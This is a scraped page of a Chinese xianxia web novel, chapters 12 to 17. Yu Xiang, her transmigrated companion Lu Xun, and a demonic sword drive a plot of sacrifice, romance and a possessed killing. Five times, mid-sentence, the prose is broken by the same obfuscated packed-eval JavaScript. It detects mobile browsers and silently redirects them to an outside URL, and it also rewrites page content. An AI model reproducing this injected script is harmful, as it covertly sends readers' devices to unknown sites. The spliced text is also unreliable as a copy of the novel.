即便后来伤口结痂,也留下了后遗症,多年来一直被邪气纠缠。 那时虞香表面点头附和小师妹,心中则在流血,心痛白衍机该是有多疼。 每每邪气死灰复燃,伤口翻红,会有多痛。 而现在,她知道了。 12. 第 12 章 天上的月亮由盈转缺,最后只剩下一钩残月时,虞香便有一种预感。 像是有什么要发生了。 就在今天。 于是在入夏后的首个新月夜晚,虞香鲜见地没有早早回屋歇下,而是提了张竹椅在凤凰木下从傍晚静坐到了天黑。 凤凰木开花了。 它生长在有坡度的土壤中,枝桠斜斜展开的样子像一把斜撑在山间的红伞,黄昏将花朵烧得浓郁热烈,似永不熄灭的火焰。 陆寻不问她的一反常态,看上去倒是十分欣慰。 他搬来茶具在平整光滑的大石上沏茶,配村民送来的齁甜点心。 虞香从他手中接过茶杯时,正好天上的凤羽悠悠落下,掉进了她的杯子里。 她垂眸看了一眼,之后便别不开目光了。 当光照在水面再映入她的眼睛,有如烈日下的湖光,波光粼粼,看不真切,连带着声音都有种不真实的缥缈恍惚。 “陆寻。” “我在。” “如果我死了,你就把我埋在这里吧。” …… 虞香的一句话让陆寻从白天叨到了晚上。 他沉着张脸叫她不要胡说。 又苦口婆心地告诉她,她有大好的年华,此生且长。 他一路盯着她,像是在等她的回应,等虞香终于意识到他灼热的视线是这种意思时,才终于懒洋洋地给了他个眼神。 然后在他的期待中不紧不慢地抛出来一句: “你好吵。” 陆寻:“……” 陆寻:“香香……” “还很烦人。” “…………” 陆寻被她两句话击沉,也低落了一阵子,但之后也不知道他想到了什么,突然枯木逢春,以更凶猛的势头卷土重来了。 他从生命的珍贵说到万物起源,从一棵树一粒尘说到了宇宙洪荒。 伴随最后一线暮光消失在天边,夜幕降临,虞香点了盏方形灯笼挂在树梢,之后弯腰拿起茶杯,塞进陆寻手里。 “喝茶。” 陆寻受宠若惊。 他的嘴唇才刚碰到杯沿—— “陆寻,你是为了让我一直活下去,才来到我身边的吗?” 全世界的时间仿佛在这一刻停止。 所有的画面都变成了一帧帧。 虞香看见陆寻整个人被她这一句话瞬间定格,连他眨眼的动作都变得很慢很慢,当时间慢得好像即将往后退的时候—— 虞香:“从我见到你的第一面,我便知道自己从来没有一个叫陆寻的师兄了。” 一切像是回归到了原点。 陆寻微张的嘴闭上了。 良久,才终于再有话音响起,许是他今天说了太多话了,声线总有股沙哑的味道。 “……我从来没有想过要害你。” “我知道。” “我对你的所有承诺都不是谎言。” “恩。” “是为了救赎你……我才会来到你的身边。” 这一次虞香没有马上应声。 陆寻看到她的表情很淡,既不质疑,也不追问,以致于缄默片刻,是他惴惴不安地开口了。 “你不相信我吗?” 虞香摇了摇头:“我信的。” “可是,陆寻,”她平淡的神色中流露出了些许茫然,她彷徨地问他:“像我这样的人也能得到救赎吗?” 陆寻说不清楚自己这一刻的感受,只觉得心脏那一块酸酸的麻麻的,又像是被堵住了。 不等他深思,那所有酸涩的情绪全部在一刹那间变成了惊惧。 他看到虞香像是冷不防承受了剧烈的疼痛,一下子疼弯了腰,冷汗也立刻从额头冒了出来,气息虚浮孱弱。 陆寻才刚扶稳她的手臂,便愣愣地瞧见鲜血浸湿了她胸前的衣衫。 “……” “虞香——!!!” 虞香本来还疼得恍恍惚惚,没有反应过来,被陆寻在极近的地方喊了这么一声,顿时完全清醒了。 她回神后的第一个反应竟然是笑。 坦白说,血液流出体外,带走了体温,身体慢慢变冷的感觉不是不恐惧的,她也畏惧死亡,可在这一刻,虞香感受到的还有解脱。 一种终于能偿还白衍机了的解脱。 虞香低头看着咬牙冒汗给她止血的陆寻,嘴边笑意深了几分。 她缓缓道来时的声音既轻又慢。 “我是一个嫉妒心很强的人。” “每次听说谁得到了机缘奇遇,我便会想那个人为什么不是我?” “为什么不是我被那些大人物看中?” “起初的时候嫉妒归嫉妒,我也没有做过什么的,我也相信是时机未到,机会总会垂青默默努力的人。” “是遇到小师妹之后,我开始变得贪心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861097|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和急切的。” “小师妹她不需要努力,修为便源源自来,她什么都不用做,所有人就都会喜欢她。师父师兄我喜欢的人,最顶级的法宝灵宠名声实力,她轻而易举拥有了一切。” “我抢不来,也争不到。” “中间做了太多糊涂事,既是戕害同门,又是祸害了修真界,搅得一片腥风血雨,所有人不得安宁。” 她顿了顿,努力聚焦已经涣散了的视线。 “陆寻你说……像我这样的人真的能被救赎吗?” 他的声音听起来有些颤抖。 “……它们都还没有发生。” 是,所有事情尚未发生。 可是她记得。 只要她记得,那便是她永远要背负的恶报。 虞香推开了陆寻,任背脊软软地贴在了竹椅靠背,她努力仰头去看眼前模糊的人影。 可汗水与剧痛模糊了她的视野,虞香伸手摸到他的脸庞时,只觉得指腹微湿。 “……你又哭了吗?” 他没有说话。 也许是说不出话,又可能是手忙脚乱地没听见她的声音。 虞香扯了扯嘴角,低声安慰了一句: “不要哭了。” 她试图去抓他的手。 虞香扑了个空,不过不是太久,似是想起了什么,陆寻主动握紧了她。 感受到握住她手的力度与温度,前世死时那股压得她窒息的孤独和恐惧消散了许多。 “陆寻,我不想再孤独地死去了。” 他的手轻颤了下,但接着用更紧的力度回握她。 紧到有些痛了,虞香却只感到安心。 他迟疑的时候似乎想告诉她坚持下去,不要轻易死去。 当开口,脱口而出的只剩下: “你不是一个人。虞香,我现在就在这里。” 虞香不禁展眉笑了。 “谢谢。” “真的谢谢你能来到我的身边。” 陆寻后来似乎还说了些什么,但虞香都没听清。 她其实连自己的话都听不清了,也什么都看不见了。 她唯一能感受到的是陆寻的手。 直到最后、直到她意识彻底消散的那一刻,他紧握着她的手都没有松开。 那么有力,那么温暖。 就好像如果她真的这么永远闭上眼睛…… 也没有关系了。 13. 第 13 章 虞香沉睡了整整一个夏季。 她苏醒那日时值白露。 当四下的光景缓缓淡入眼中,她最先看到的是红蓝交际的朦胧光影。 等失焦的视野逐渐清晰,她方才看清原来是一棵枫树被移栽到了窗外,倚墙而立,红叶与蓝天交织出一副空远的意境。 就到秋天了。 虞香还未多看两眼,耳边冷不防传来噼里啪啦摔东西的动静。 “……虞香?” “你醒了?!” 话音刚落,一张激动喜悦的脸庞冲进了她的视线当中。 目光定格在他的脸庞时,虞香不由有些恍惚。 这好像是第一次。 第一次在看到陆寻的脸庞时想到的不再是她前世的心上人了。 而是她那个从天而降的白给师兄。 虞香的眼神不知不觉间便柔和了几分,她轻声哼笑。 “好久不见了。” “陆寻。” …… 刚开始的时候,虞香以为这次能活下来全凭侥幸。 毕竟当初她一直旧伤未愈,好不容易度过雷劫后雪上加霜,再后来为了炼制欺命仙衣又损耗了太多元神。 因而当某日忽然想起了小师妹与白衍机的初逢,他为了救她被邪灵重伤,虞香将此劫视作了死劫。 可她能活下来不全因侥幸。 醒后的几日,渐渐察觉到体内雄厚的药力,又有别人的灵力仔仔细细地护着周身的经脉,她才忽然醒悟是有人在她昏迷之际,做了所有他做得到做不到的事。 生死之间,虞香隐约窥见了突破的门槛。 但现在并不是突破的好时机。 她的旧伤累成了顽疾,如今她替白衍机受了重伤不止,还有邪气在阴影里虎视眈眈。 陆寻:“……伤口又流血了。” 虞香悠悠回神。 视线从神情凝重的陆寻脸上收回,余光瞥到胸前的点点鲜红,接着见怪不怪地从陆寻手中接过纱布,示意他她自己来。 背过身后,感受到后头的沉默依然沉重得充满压力,虞香随口安慰了两句。 “没事的,其实也不怎么痛。” “当年我握住邪剑都能保持神志,这点邪气奈不了我何。” 可刚说完,一阵刺痛突如其来,她忍不住闷哼了一声。 身后立刻传来衣料摩擦时的急促响动。 虞香:“我没事。” 见她是真的没有大碍,他才没有继续上前。 缄默良久后紧接了一声叹息,接着原地便没有了他的影子。 虞香本来以为陆寻是走了。 结果不稍片刻人又回来了,手上还端了大大小小止痛补血的汤碗药瓶。 他把托盘放在离她最近的桌子,然后人坐到了旁边的竹椅上,一声不响地盯着她。 虞香被那满是压迫感的目光逼得望过去时,看到的是他板着张脸,挺直了腰杆,双手环胸地坐在那里,一派的苦大仇深。 她不由想笑,但语气仍是淡淡: “欺命仙衣便是这样的法宝,逆天改命,完完整整地将一个人受到的所有伤害不遗毫发地转移到另一个人的身上来。” 还云淡风轻地问他:“你不知道吗?” 虞香得到一句闷闷的应答: “……我现在知道了。” 虞香不禁轻笑出声,她眼笑眉舒地问:“怎么?要是你再早一些知道,便不帮我把它送去给白衍机了吗?” 陆寻垂眸沉吟。 “我想,但我不能擅作主张。” 虞香微愕:“你不能……擅作主张?” 虞香:“那你以前对我做的那些事算是……” 回想起往事,陆寻顿时脸色微红,他假装听不出她的言外之意,一本正经地回道: “你拒人千里之外,为了走近你,我只能铤而走险。” “可事关白衍机……我知道你有多在乎他,自然不敢轻举妄动。” 他露出苦笑:“我也清楚自己与他相比是云泥之别。” 虞香仔细审视陆寻,最后落下评论: “你倒是坦诚。” 闻言,陆寻依然一脸的真挚诚恳。 “我过去以假师兄的身份接近你,如今是应该要坦诚些来挽回的。” “……” 虞香盯着他看了半晌,他的那双眼睛依然清澈如故。 “我不需要你假装爱我。” 他笑了。 然后恩声说了句:“我知道。” 正当虞香将要松下一口气,那没有说完的下半句话传到了她的耳畔。 “所以我不会去假装爱你的,虞香。” “……” 应是伤重,此刻的虞香总觉得有些双颊发热,头昏脑胀。 …… 陆寻行事有时看似不知进退,但到了重要的事情,他总是好得恰如其分。 他盯着她染血衣物时的苦大仇深,无疑是觉得欺命仙衣乃重大隐患,她的命交到了白衍机的手上,死生任由他。 可陆寻只字不提。 不劝她,不指责,也不问。 他只是默不作声地站在了她的身边。 像是只要她开口,他便会愿意为她去做所有事。 虞香并不迟钝。 她不会不清楚陆寻对她的好早已超过了界限。 他说他不会假装爱她,可他每一次朝她看过来时的眼神皆如春风拂面,犹是四月天的朝阳,温暖明媚。 即便虞香不懂,但她记得她过去的心上人看小师妹时,就是这样的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861098|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 虞香不知道该怎么面对陆寻了。 “香香你怎么看上去这么纠结别扭?是有什么心事吗?” 虞香沉默地望向比今天的太阳还要灿烂晴朗的陆寻,良久嘴边才挤出一句: “……叫我虞香。” 她想让一切归原就从纠正陆寻对她的称呼开始,然而他回以粲然一笑,接着道: “我喜欢香香更多一些。” 一股热血顿时就冲上了脸颊,但虞香还是秉着不咸不淡的口吻回道: “你现在也不怕我生气了。” 他看上去是真的一点都不怕了。 闻言是一边嘴巴上说着怕,另一边接着低头做他自己的事情。 等他终于再抬头时,已经完全忘了那回事,只兴高采烈地让她看: “香香你来看看我画的阵,瞧着怎么样?” 又道:“对了,村长早上送了只鸡来,说要给你补补。” 虞香心中无奈叹息,到底还是走了过去。 她昏迷了一个季节没有出现,如今村子里的人得知她苏醒后总时不时会给她送一些东西过来。 他们似乎忘记了她是修士,只把她当成共住一个村子里的家人来关心。 虞香抿了下唇。 “……下次不要收了。” 话落,她抬首望去。 这段时间陆寻不但劳心费力地给村里布阵画符,做出些什么小玩意儿来也都是成双成对。 要给她的,则必有他自己一份。 那就像是……他要一直留在这里了。 “你真要一直留在这里?” 陆寻闻言奇怪地看了她一眼,然后理所当然地说了声:“自然。” 见她不吭声,他停下了手上的事情,反问她: “你不想我留下吗?” 虞香:“我只是觉得……你可以有你自己的生活,不必要非要在这里,停留在同一个地方。” 陆寻沉吟不语时,时间好像慢了下来。 从天空照下来的光恍然变成了一束束,当落在他的身上,一同映入她眼中的时候,不由地让人心悸恍惚。 “是,我的确不必要非停留在同一个地方。” “可是虞香,你在这里。” 他嘴边的笑多了几分无奈,像是在怀疑自己是不是表现得太少,太隐晦,以至于她还不明白。 于是他最终决定平铺直述、开门见山: “我想在有你的地方。” “我想参与你的人生。” “这样说的话……你会能稍微理解一点吗?” 他的眼神太过专注,过于深情,声色柔和如十五的清风明月,以至于在后来的很长一段时间…… 她是真的以为,他是真的爱她。 14. 第 14 章 时间一转便是七年。 修真者岁月漫长,对时间的流逝只剩下钝感。 是有一日听人感叹她来到村子也将近八九年了,虞香才忽然发觉已经过去了这么久。 七年间的每一天都有昨日的影子。 鸡鸣时起身,打坐修炼,迎风舞剑,天黑闭眼便是一天。 虞香很满意这样的生活。 远离了修真界和救世门,不必再见到昔日的故人,她感受到了一股确切实在的轻松。 尤其当前世的记忆慢慢变淡,被时间推得越来越远,有时候她好像能以第三人称的旁观者回首往事了。 不必再活在过去、未来终有一日到来的死亡瞬间,她得到了活在当下的充实与安宁。 虞香知道一切多亏村民和陆寻。 因为和她不同,他们都是温柔善良的人。 他们不问她的过去,敞开心扉地接纳她,在这天地间给了她一处栖身之所。 “在想什么?” 虞香顿时回神。 她沿着声音传来的方向望去,当笑眼弯弯的陆寻映入眼帘,她顿了顿后低声回道: “在想你。” 陆寻肉眼可见地愣了一下,很快又重新笑了起来,那笑容澄净光亮,恍然连隐秘的犄角都可以照亮。 “对于触手可及的人,就只有想想可以吗?” 虞香被他口吻逗笑。 她顺着陆寻靠近的动作伸出手,最终落到了他的脸侧。 “谢谢你能够喜欢我,陆寻。” 他低头亲昵地吻了下她的脉搏。 “这句话应该由我来说才对。” 虞香在两年前接受了陆寻。 说起来也没有什么特别的契机。 自从七年前她默许了陆寻的存在后,他一直没有离开过。 他像是家人一样安静地守在她的身边,再未表达过爱意,可从他眼神中流露出来的温情,仿佛在告诉她,他能等,多久都可以。 陆寻的陪伴犹如一壶陈酒,绵甜柔和,余香悠长。 等她偶然醒神,才发觉已然深陷其中,挣不脱了。 于是两年前月澹长空,凤凰木下,他们共饮村长送来的酒,她醉意上头,起身时没有站稳,余光瞥见陆寻下意识伸手来接,索性也不挣扎了,直接就摔进了他的怀里。 陆寻习惯了扑空,接住她时愣了好一会。 他垂眸看下来的目光迷朦,听声音倒是干净清醒。 “你醉了。” 月光将他的侧脸映照得深情柔和,当清风吹起他的发丝,虞香只觉得心上有几分痕痒。 她注视着他,一字一句道: “我很清醒。” “……” 他声音里带笑:“明天早上我不会当作无事发生的。” 陆寻说是这么说,可等真到了第二天,他却不敢揪着昨夜的事情不放。 他假装自己不记得了,视线却忍不住偷偷打量她。 她心里好笑,语气仍是不咸不淡:“我昨夜没醉。” 他眼睛一亮:“那……” “发生的事情我都记得。” 迎着他期待目光,她大大方方地承认: “我应是有些喜欢你了,陆寻。” 直到如今,虞香依旧忘不了当时陆寻在那一刻的反应。 她轻描淡写的一句话便把他定在了原地,连呼吸都屏住。 旋即从脸上浮现出感动、喜悦,几近热泪盈眶。 他的嘴角向上高高地扬起,笑得有几分傻,又真的跟傻子一样对她说,他会努力让她更喜欢他,会永远爱护她,对她好。 虞香信了他所有的话,对他口中的每一个字眼皆深信不疑。 她被他的喜悦感染而露出微笑,心中的欢喜犹如涌泉,以为是苦尽甘来。 虞香从来没有怀疑过他。 因为她以为陆寻向她坦露了所有。 他说自己来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861099|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自另外一个世界,而她身处的位面是他世界中一本以她小师妹为主角的小说。 他说自己读完了整本小说,为她的遭遇感到不值、不甘,随着阅读渐渐投入了自己的感情,最后彻底喜欢上了她。 于是当发现自己机缘巧合进入了小说的世界,他只想要改变她的结局,让她得到幸福和快乐。 虞香相信陆寻是为她而来。 直到邪剑出现的那一天,她真的没有一次怀疑过他。 …… 那一天其实与平日相差无几。 村长传来口信说猎人发现村子外边的符咒全部被不知道什么东西破坏殆尽,于是陆寻马上前去查看异况,生怕像是去年那样被妖邪入侵了村子。 虞香留下坐镇。 夏日炎热,她戴了顶草帽在村中游走,在各家各户的门窗贴上护符,询问村民近日出现的怪事。 最初本是一切如常。 直到她经过转角,看见一把黑色的剑躺在草垛上。 在看见黑剑的瞬间,她的心脏猛跳了一下,胸前沉睡的邪气顿时复苏,旧伤传来撕裂的痛感。 虞香强忍着痛,若无其事地别开视线,扭头就走。 可她一转身,身后传来的喊声把她定在了原地。 “仙人——等等!” “你的剑忘记带走了!” 虞香僵硬回头,只见一个不知道什么时候出现在那里的村民,正拿着黑剑向她高呼。 锋利的黑剑与瘦弱的村民,仅仅出现在那里,已经像是一种无声的威胁。 虞香只能往回走去,从笑盈盈的村民手中接过黑剑。 便是在触碰瞬间,邪气翻涌的旧伤疼得她闷哼,脑海内同时传来了一道熟悉的声音。 它像是从很远的地方传来,黑暗又空洞,带着一种想要立刻毁灭世间万物的恶意。 “终于找到你了,虞香。” “这么久没见,你就不想开心地拥抱我一下吗?” 15. 第 15 章 虞香前世曾有一把本命剑,名唤追风。 它通体银白,已是胜雪三分,然而在邪剑旁边,仍是逊色一筹。 邪剑是虞香见过的最美丽的剑。 它的本体被封印在救世门后山的大阵。 斜插进泥土里数百年,依旧一尘不染,用血洗过反而更加光亮闪耀,那白芒诡异地有一种圣洁的光辉。 而哪怕移动半寸,她那看守后山的三师兄谢远也会在一息间出现在它跟前,将它重新钉入地底。 镇压邪剑,是整个救世门上下至高的使命。 千百年来,只出了她这么一个不肖弟子。 虞香轻叹一声。 “阿邪。” 听她像前世一样叫自己,邪剑顿时喜逐颜开,可它还来不及出声,便听她低沉着嗓音,又道: “我打算永远留在这里。” “你回去吧,不要再来找我了。” “我们……都应该要放下了。” …… 邪剑瞬间安静了。 虞香久别重逢的第一句话便是驱逐,它的心情一下子沉到了谷底。 它问她为什么要过河拆桥,问她为什么要抛弃家人。 邪剑一口一个家人。 但虞香心知,它从来没有把她视作真正的家人。 历任邪剑剑主向来都是邪剑的工具。 从它认主的那一刻起,它便开始吞噬剑主。 它鲸吞蚕食他们的理智,摧毁他们仅剩下最后一点的柔情,直到与整个修真界为敌为止。 虞香从来都知晓邪剑心路不正,狡猾诡诈,它口口声声与她家人相称,亦不过是想拿捏住她的软肋,想她为它所用。 可她过去……也曾把它当成了自己真正的家人。 当她饱受疯病折磨,在所有人那里尝遍了苦楚,只有邪剑陪她度过了的那段最黑暗的时光。 如果可以,虞香也会愿意让邪剑得到救赎,换她来承受它的冤孽宿命。 因为这才是真正的家人之间会做的事。 虞香压下因伤口邪气翻涌而涌上喉间的腥甜,对邪剑一字一句地说道: “阿邪,你本是天山神剑,是因为吞噬了历代剑主,连同他们对世间的愤恨、感受到的痛苦,才会变成现在这样。” “那些都是本不属于你的感情,你的夙愿只是我们所有人的遗志。” “你想要利用我们,实则却只是被我们利用了。” “阿邪,放下吧。” “我可以帮你,我们可以一起——” 她的话被邪剑打断。 日头的太阳光照在黑剑剑身时,竟散出森森的寒气。 邪剑的声音是那样平静,甚至还带着一丝疼痛,仿佛在为她感到深深的难过和不值。 “虞香,你难道就从来没有怀疑过那个对你自称陆寻的男人吗?” 霎时间,虞香的心脏猛跳了一下,忽然有了不好的预感。 …… 虞香心知无论邪剑说什么,她都不能听,不能信。 然而当听到那个“自称陆寻的男人”,她忽然就松不开握住黑剑的手了,像是僵硬了一样,只能由着它的话源源不断地涌入她的脑海。 “虞香,你有没有想过你是怎么想起来以前的事情的?” “是我让你想起来的。” “你以前总说后悔,说如果能回到过去,你一定不会再去爱那些不值得爱的人,会努力争取想要的一切,让他们所有人只能仰望你。” “这些年来我一直等你来主动找我,但你始终没有出现。我以为你遭遇了危险,于是千方百计避开了谢远的监视,来到了你的身边。” “我们不是真正的家人吗?” “现在有了个那个来自异世界的男人,你就不再需要我,所以要抛弃我了吗?” “虞香,如果你真的要这么对我,那我也认了。” “但唯有一点……我不想你再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861100|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他蒙骗在鼓里了。” “你说那个人向你坦诚了所有,你却连他真正的名字都不知道。” “你说他是为救赎你而来,却不清楚那是他必须要完成的任务。” “他跟一个叫作系统的东西绑定了,成为了攻略者,强制被离开了自己的世界,只有攻略你,让你爱上他,方能回到他的故乡。” “陆寻陆寻,寻路寻路,寻找回家的路……你还看不明白吗?” “你爱上的那个自称陆寻的男人,早在两年前你接受他的时候便回到了自己的世界。” “如今陪伴在你身边的……不过是一具拥有陆寻的记忆和外貌,没有灵魂的人偶罢了。” 邪剑的一声声一句句如同雷鸣般在脑海中不断炸响。 虞香的精神变得有些恍惚。 她开始渐渐分不清心口的疼痛究竟是邪气作祟,还是它真的在因为邪剑的话而隐隐作痛。 虞香紧咬牙冠,是拼着最后一口气,才站直了身体,没有坐倒下去。 夏日的烈阳如同火焰炙烤着她,朦胧的视野模糊了一道逐渐向她靠近的身影。 她没有意识到那个人的存在。 那个人呼唤她的声音也被邪剑的话音所淹没。 而便是在那个人靠得最近之时,一直盘踞在她伤口的邪气不知在何时控制了她整个右半身。 电光火石之间,虞香握着黑剑的右手冷不丁自己动了起来。 她还未来得及作出反应,利器撕裂皮肤,没入血肉的触感已经传到了掌心。 紧接着只有一道轰然倒地的声音在耳边响起。 在死之前,他没有能问出一句为什么。 茫然,是最后出现在他脸上的表情。 而低头看着他最后的表情,虞香的脑海一片空白,当余光瞥见鲜血往外洇开,她外放的情绪到达了此生的峰值。 惨厉的叫声惊飞了周遭鸟群。 “……陆寻——!!!!” 16. 第 16 章 由于一切发生得太快,虞香有一种非常强烈的不真实感。 她今天清晨还在跟陆寻交谈,商量着明日要接露水制符,下周要去邻村喝喜酒,年前埋下的新酒月末该熟了,而如今只是一个照面的功夫不见,他便已经倒在了地上,再也没有了声息。 还是被她……亲手杀死的。 眼前的画面充满了脱离日常的荒诞,以致于虞香内心悲恸万分,眼睛里却流不出泪水。 从最初的疯狂抢救,到后来她看着陆寻的尸体开始发呆,邪剑的声音一直没有消失。 它说:“虞香你清醒一点吧。” “真正的修士怎么可能被如此轻易地杀掉?哪怕是用我的本体,也不可能一击致命。” “只有没有灵魂的人偶才会像这样,被轻而易举地杀死。” 虞香无法反驳。 因为邪剑说得是对的。 比起陆寻亲口对她说的话,邪剑告诉她的那一套说辞,显然才更加合理。 其实虞香的心里一直都很清楚。 没有人会爱上像她这样的人。 可她好像依然在无意识间做了这样的美梦,所以才会相信了陆寻,信了他那些经不起推敲的话,信了那来得不讲道理的深情。 如果他没有死,也许她得知了真相后依然会装得若无其事,与一个永远不会背叛她的人偶继续生活。 什么都不问。 安静地活着,沉默地死去。 可人生没有那么多如果。 如今的结果,已然成了她亲手毁掉了一切。 她永远失去了陆寻,再次变回了一个人。 虞香感到空虚悲伤,可她对邪剑怨不起来。 因为邪剑是一个比她更凄惨的可怜人。 她的痛苦能以死亡终结,邪剑的痛苦却永生永世无法被洗脱,它一直被封印在救世门,无人可诉说,无人可理解,只能不断寻找着新的剑主,以求一份解脱。 虞香说不出来责怪邪剑的话。 她压着心痛沉默地将以不同寻常速度腐烂的陆寻的尸体,埋进了本是为她自己准备的土地里。 然后在邪剑轻柔的宽慰声中,平静地问它: “他在那边过得好吗?” 邪剑像是被她的话给震到,一时之间反应不过来。 “你说……什……么?” 虞香没有在意它的震惊。 她像是自己在跟自己说话一般,轻声低语道: “他陪在他不爱的我身边这么多年,终于得偿所愿回到故乡,他在那边一定过得很好吧。” 一霎沉默后,邪剑表现出绝无仅有的怒火。 “虞香!他骗了你啊!你应该愤怒大喊!立刻冲到他的面前问他为什么!就算是不择手段,也要让他重新回到这个世界,疯狂地报复他,让他认错,逼他不得不留在你的身边!就算是假装,也要永远爱你!” “虞香……我会帮你的,我知道很多事情,只要你听我的,你一定可以得偿所愿……” 虞香不是不知道邪剑满怀期待地等待着她的回应。 可是…… 她注定只能让它失望了。 “阿邪,放下吧。” “我们都应该要放下了。” …… 虞香本来以为邪剑立刻会走。 即使今日不走,等它认清现实,对她失望透顶、感到疲倦之时,也总该会离开的。 可邪剑始终锲而不舍。 它无时无刻不在她的脑海中宣扬复仇主意,处心积虑地挑拨离间,好不容易等它终于累了,冷静了下来,意识到全部都是无用功时,比起离开,它只是换了一个手段煽动她: “虞香,既然你爱上了他,难道你不想再见到他吗?” 她被问住了。 如果说不想再见到陆寻,那自然都是假话。 从邪剑口中得知他的一切皆为谎言,全都只是为了攻略时,虞香其实也想要再见陆寻一面。 想问一问他到底是不是真的,他对她是不是真的没有一丝真情。 想问一问他,他离开这个世界的时候,究竟有没有一丝不舍,哪怕只有一点对她的留恋。 后来,他在他自己的世界里,有没有哪怕一次,曾经想起过她。 但即便真的再见到陆寻,她的这些问题也没有丝毫意义。 他说没有,她只会更伤心。 他说有,她也没办法再当真了。 只因今时今日,虞香已经不再相信会有人爱上像她这样的人了。 所以答案只有一个。 “我和他最好是永远不要再见面了。” 她不想让自己变得更加可悲。 然而邪剑不会在意她的感受。 它就像以前的她一样,自私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861101|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自利,为了报复而肆意伤害所有人。 邪剑:“你一定会再见到他。” 邪剑:“如今他的攻略任务失败,他必将以其他身份再回到这个世界,你当然可以选择逃避,只不过逃避的结果……” 邪剑:“如果攻略失败,他会死的,虞香。” …… 虞香别无选择。 无论邪剑说的那一番话是真是假,她都只能选择相信。 因而沉默寡言了三天之后,虞香安顿好了村民,终是再踏上了返回修真界的路。 邪剑以为她终于想开,兴奋得胡言乱语,开始设计今生先杀哪个名门正派,先去抢了谁的奇遇机缘。 虞香没有理它。 她只是沉默地往救世门的方向走。 来时她没有带剑,靠着一个步一个脚印从修真界走到了凡人界。 回时她得到了村中铁匠的馈赠,有了傍身的武器,便御剑飞行回到了她过去逃离了的地方。 今日救世门许是在设宴迎客。 遥遥地虞香便瞧见前山大开山门,四面八方皆有修士往门内飞去。 她跟在他们后面,风将他们的谈话带到了耳边。 “这位道友也是去参加救世门为新弟子举办的欢迎宴?” “是,听说是时隔多年才收的新弟子,我们师尊让好生恭贺拜访。” 一听今日竟是夏笙笙的欢迎宴,任是虞香也不由生出股无力感。 她兜兜转转绕了好大一圈,结果最终还是回到了原地。 虞香不禁笑出了声,在前面修士回头望过来之前加快了速度,很快抵达了外门。 当从飞剑上下来,踩到了地面,安静地望着不远处的夏笙笙时,虞香忽然觉得她能被修真界这么多高手大能宠爱不是没有道理的。 今日参加欢迎宴的修士少说也有上百,她却站在门前,亲自欢迎接待每一位来宾。 无论来者是大宗门的长老,还是默默无闻的散修,她皆笑脸相迎,那笑容里的甜恍然能沁进所有人的心里。 虞香才刚落地,夏笙笙就来到了她的跟前。 因是从未见过的生面孔,她的脸上浮现出丝丝疑惑,言行举止依旧彬彬有礼。 “请问这位姐姐是……?” 虞香默了一下。 只道: “你只当是一个素未谋面的故人来了吧。” 17. 第 17 章 今日,关闭了上百年的隐世宗门救世门,为新入门的小弟子大设喜宴。 流水的宴席从山顶摆到了山脚。 席间尽是琼浆玉液、珍馐美馔,吃一口可抵得上常人一年的修为。 即便手无邀请函,皆可入门。 虞香便是这么进来的。 她来时偏晚。 昔日荒寂的空山已经聚满了人。 大门大派的宗主长老应邀而来,早年循世的高手大拿因夏笙笙而赏脸露面,未来将成为修真界中流砥柱的新星彼此交谈甚欢。 一派四海升平的景象。 